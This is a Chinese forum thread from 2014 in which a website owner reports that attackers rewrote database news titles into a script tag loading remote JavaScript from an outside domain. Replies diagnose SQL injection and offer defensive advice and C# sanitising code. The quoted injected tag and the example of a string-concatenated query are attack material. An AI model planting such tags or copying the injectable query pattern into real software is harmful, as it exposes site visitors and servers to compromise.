日期:2014-05-20  浏览次数:20433 次

我们网站的数据库被恶意篡改了,高手们帮忙分析一下…………
描述:今天早上发现首也新闻部分布局被扯乱了,新闻连接是一个script代码,之后我马上登陆远程服务器,发现新闻表的title字段被人恶意篡改,全部改成了 <script   src= "www.001yl.com/8.js "> </script> (大概是这样的),我们马上恢复了数据库,现在已经正常了

问题:这种篡改最有可能的途径是什么?最好的防范方法是什么?

另外:我们用的是win2003,sqlserver2000,asp

谢谢……

------解决方案--------------------
脚本注入,写数据库的时候,把脚本字符替换或者屏蔽。
------解决方案--------------------
用存储过程也行
------解决方案--------------------
被注入了...
------解决方案--------------------
除了防注入以外,也不要随便从网上down个例子程序就直接拿来就用,否则很容易被人猜测出漏洞。
------解决方案--------------------
地址栏传入查询数据库的的参加不要写成:
select * from table where id= '+strID + '
的结果,应用参数,不然SQL会被注入

如果被注入,你的sql连接用户名如果是管理员,它就可以有权限(用SQL自带的存储过程)添加系统管理员用户,连接你的计算机.

1:尽量用参数sqlparameter传
2:连接数据库的用户名最好权限不要设的太大
------解决方案--------------------
我靠,楼上新津的???
------解决方案--------------------
对传递的参数进行判断..

一.如果参数全为数字:
// 检查字符串是否全为数字

public static bool IsNum(string Str)

{
bool blResult = true;
if (Str == " ")
blResult = false;
else
{
foreach (char Char in Str)
{
if (!Char.IsNumber(Char))
{
blResult = false;
break;
}
}
if (blResult)
if (int.Parse(Str) == 0)
blResult = false;
}
return blResult;

}


应用:
string Topicid = Request.QueryString[ "Topicid "];

if (!IsNum(Topicid))
Server.Transfer( "Error.aspx?ErrID=404 ");
------解决方案--------------------
sql injection
------解决方案--------------------
转换微软petshop里面都有方法的:
public static string CleanText(string inputString, int maxLength)
{
StringBuilder retVal = new StringBuilder();

if ((inputString != null) && (inputString != String.Empty))
{
inputString = inputString.Trim();

if (inputString.Length > maxLength)
inputString = inputString.Substring(0, maxLength);

for (int i = 0; i < inputString.Length; i++)
{
switch (inputString[i])
{
case ' " ':
retVal.Append( "&quot; ");
break;
case ' < ':
retVal.Append( "&lt; ");
break;
case '> ':
retVal.Append( "&gt; ");
break;
default:
retVal.Append(inputString[i]);
break;
}
}

retVal.Replace( " ' ", " ");
}
return retVal.ToString();

}
------解决方案--------------------
up
------解决方案--------------------
建议楼主先去看看SQL注入方面的资料。